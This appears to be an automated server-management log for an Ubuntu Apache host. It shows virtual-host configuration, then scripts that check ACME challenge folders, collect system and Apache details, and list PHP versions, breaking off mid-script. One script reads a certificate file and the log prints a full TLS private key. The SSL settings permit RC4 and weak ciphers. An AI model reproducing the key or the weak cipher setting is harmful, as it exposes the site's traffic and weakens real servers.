Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_error.log
SetEnv pkp_uid 61
SetEnv pkp_owner outreach
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:58:
PUT: /tmp/pkp772967
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:58:
chmod 755 /tmp/pkp772967; /tmp/pkp772967; rm /tmp/pkp772967
2025-12-28 06:00:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt 5417
c5:4c:16:c9:a4:15:b1:91:f8:a1:ef:bd:91:cd:6e:b3
-----BEGIN CERTIFICATE-----
MIIFLTCCBBWgAwIBAgISBYRvmeoARayzLXYruwiaXfDiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjI1WhcNMjYwMzI4MDUwMjI0WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAqenx9elU2IM3pshaACnv2kIRZo5QMABC2lrZL5Bydf1IgBR5QUCM
G6uJpzFYrXrVWZhplsXWCWPmFN5uiAPKY0N2ijhfhSUsgFHJd39AUTTEmTirR2oA
XcgnE4jlNMp6M5tbsnoAWzri0xZsB/aWPd4v61ww4ihVZXP9z7rvVwyRV61a+w0v
MTF3NGfb3LO45vvHb2JTkzf0I7Urx91wQJMhgqD7vfncrrzgZvQBRjBwpjYBtJ5o
Z1f0/VaROeRJB1acV4lBl1GH6W1AV9F2QxTnZTZQRkLBqTpQuoSF0EWLnUDtKBpy
XmQ66UEYc/8xJS3nF+/1ppwt3bpRoP9jBQIDAQABo4ICSzCCAkcwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBSZJd3uTNeaMHKhHiMBcakl6dxAqDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvOTkuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbY4upwQAABAMARzBFAiEA0r0PwrlS
6ZsWraQnIZ+syTXFey9UhT5OwczZltSt+SACIDBsTeUsVZYXogXJpkfh4/G3NX0r
xR1mHmw/1eH+0Vo4AH8Apcl4kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcA
AAGbY4us/gAIAAAFAC0O3qkEAwBIMEYCIQC4vgxpyIcK5YY7VPmgXhP9F0p1acVm
dJdEsanhgSZKlQIhAPVc0AUy5xBk0TK0Z7rXmJT4I63IBwsy9Tc4BH4v1FqGMA0G
CSqGSIb3DQEBCwUAA4IBAQAdY/6EKsUDd0+9kH5xYdnBFO7ZG99o3/031fB+qrAA
IDH5cXNwbWg0K39E2xCT++2kKJ3eHRVIu/CrwTFDz3BMsrIB8pB3PY9N5lnKFdAD
E0FmRamH5k1Q5npZq0PdyyZNptu8KNd0e1xF7VQCH8yRk62X3kw0KEUqyDtSiXad
PfzAYt2ZHWV66/VPR4IbLjbzz3Gz68/GOIWfvoMCmSThz8PaPTNj8GRW7MnhtV8g
7e3QFHjtoUu4b7OuN+uUSHeWQKj2muaq/HxK5iToUjvKjKi/bgJKJX/S/TvoA9lX
T46uBwIhQB1tLXpp9IBbbv/fAFcOUVpoMa5WrsJKXBj6
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp6fH16VTYgzem
yFoAKe/aQhFmjlAwAELaWtkvkHJ1/UiAFHlBQIwbq4mnMVitetVZmGmWxdYJY+YU
3m6IA8pjQ3aKOF+FJSyAUcl3f0BRNMSZOKtHagBdyCcTiOU0ynozm1uyegBbOuLT
FmwH9pY93i/rXDDiKFVlc/3Puu9XDJFXrVr7DS8xMXc0Z9vcs7jm+8dvYlOTN/Qj
tSvH3XBAkyGCoPu9+dyuvOBm9AFGMHCmNgG0nmhnV/T9VpE55EkHVpxXiUGXUYfp
bUBX0XZDFOdlNlBGQsGpOlC6hIXQRYudQO0oGnJeZDrpQRhz/zElLecX7/WmnC3d
ulGg/2MFAgMBAAECggEAEMB9Qn7GsVypLUsDfztN587WYwNqPyacxg++6e7r2gYm
vQ9Hr89AAQULL+4FjX+sGTFATRp5h7jPA6+1ELk5nZ/BHXosBgyBiVqG6mkkBjLq
+dBEfWijW0ZTKUc4kdkvQyHwtcqheQfNOn0zbsrjn9CQGOb19YDUf97NCfX8Mttj
4F5OJ1rMaQw/9znbjpohaROl7q524FH4kfVfH9GvAOtSbx4tryCo5V+I1Ns18Mbm
DqmBcPc1d36w9Yd6UZhnChuCIkcJeHAe+bZpMXimwQW0AcqvbYcs3luuTYuMsq5x
7kCl48t5cOpMa4pn473wTodduVUr4RmyI8EO6gWU4QKBgQDV1GJ/dQqajkxUFuaF
XSmp1hfQfg6dTjfSvgUXvsB343xUTd1JtINjuTw2G4IkKwTThcURN34ifVrSQQv4
ypWxHdYEB/2hr/vZi2H42jBXDdxiBWS3Xy5QhNhPqeuJtusD38CHyKNllrBKmWjs
F+PycFCvUiThQ9HjdF69+5OCLwKBgQDLbGJ6GO/xJIGtLFSJMah8m6AReahwDsQw
dKqlofZz+0RPsq4Osl0dVEHfQ8h+tGNyAsUJODa74BqYX2dx7yV4AsIk0BSCcmsL
5399RftygLFLtQcdmIdMeOJmjMYCnTDuWwkN0ibBsoeQW55ZpzT4RP1GHSkCz2Sg
8Auzv6glCwKBgQDD+4RHs9uDKvc0f0TLaUb9fdeX5WG5te4ePsFmMRQxDhRvJGq0
2jkulqFkKjROuAsVX97uV8FJFUG/wZSac/tdOa5lRXmmzyhzDHhAYKK7t12Njcnw
89D8RbYI1gGm2Dtw8oyBJ1jzjHiJ9y+ebIslMuIQvqZEvSdLZOZNFJ7vSwKBgB/2
Go7mhiSUQM+trGaV58wUQ5UbUUyx9T9LxVga13cnnncLMu/aNGkcSPFEXCcUPp+2
MbEeJPNl5afVLZKoKXHutQRFsUNBqPII4G4VZcl60OB9Q+3xfiiUwbWtHptgiUSa
BxUl1LMQUt5qlrmtXNQ5OrYedMgdP8lNjfki/s87AoGBAKi7orZEksK6Nk7UJfsz
YaJ0IwauKIZsrYC5RXKLLGCuMmYE7GoG3E9Wo/4sQEFrFc8NVl6tkjKfRcVFehXU
B7OPTR3ec1L2GruxV4NbWValYU9LrKhQldDf1T/uNCQjLkRmDDkz94J0ZwL2Ztht
oQXqEpwO0A8ARydPcgD+CPKR
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-28 06:00:58: Establishing a connection
2025-12-28 06:00:59: Establishing a connection
2025-12-28 06:01:00:
PUT: /tmp/pkp344972
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-28 06:01:01:
chmod 755 /tmp/pkp344972; /tmp/pkp344972; rm /tmp/pkp344972
2025-12-28 06:01:01:
0
2025-12-29 06:00:03: Establishing a connection
2025-12-29 06:00:04: Establishing a connection
2025-12-29 06:00:04:
PUT: /tmp/pkp319379
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-29 06:00:05:
chmod 755 /tmp/pkp319379; /tmp/pkp319379; rm /tmp/pkp319379
2025-12-29 06:00:05:
1
2025-12-29 06:00:06: Establishing a connection
2025-12-29 06:00:06:
PUT: /tmp/pkp329080
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > elXHLIJQZN6vK-oGEE2fxFpqNVZM5byBwlqza18Pbdo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
elXHLIJQZN6vK-oGEE2fxFpqNVZM5byBwlqza18Pbdo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 elXHLIJQZN6vK-oGEE2fxFpqNVZM5byBwlqza18Pbdo
2025-12-29 06:00:06:
chmod 755 /tmp/pkp329080; /tmp/pkp329080; rm /tmp/pkp329080
2025-12-29 06:00:06:
2025-12-29 06:00:07: Establishing a connection
2025-12-29 06:00:09: Establishing a connection
2025-12-29 06:00:10:
PUT: /tmp/pkp283564
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-29 06:00:11:
chmod 755 /tmp/pkp283564; /tmp/pkp283564; rm /tmp/pkp283564
2025-12-29 06:00:11:
0
2025-12-29 12:26:05: Establishing a connection
2025-12-29 12:26:17: Establishing a connection
2025-12-29 12:26:18: Performing Server Status
2025-12-29 12:26:18:
PUT: /tmp/pkp328215
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 12:26:19:
chmod 755 /tmp/pkp328215; /tmp/pkp328215; rm /tmp/pkp328215
2025-12-29 12:26:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/dev/dm-0 partition 1998844 0 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
earth
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-29 12:26:19:
PUT: /tmp/pkp810898
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-29 12:26:20:
chmod 755 /tmp/pkp810898; /tmp/pkp810898; rm /tmp/pkp810898
2025-12-29 12:26:20:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 10992
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 10992 0.0 1.5 223648 30568 ? Ss 12:23 0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php7_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-12-29 12:26:20:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'earth',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/dev/dm-0',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php7_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'reqtimeout_module',
29 => 'rewrite_module',
30 => 'setenvif_module',
31 => 'socache_shmcb_module',
32 => 'ssl_module',
33 => 'status_module',
34 => 'xml2enc_module',
),
),
)
2025-12-29 12:26:20:
PUT: /tmp/pkp444698
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 12:26:21:
chmod 755 /tmp/pkp444698; /tmp/pkp444698; rm /tmp/pkp444698
2025-12-29 12:26:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-29 12:26:21:
PUT: /tmp/pkp876266
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
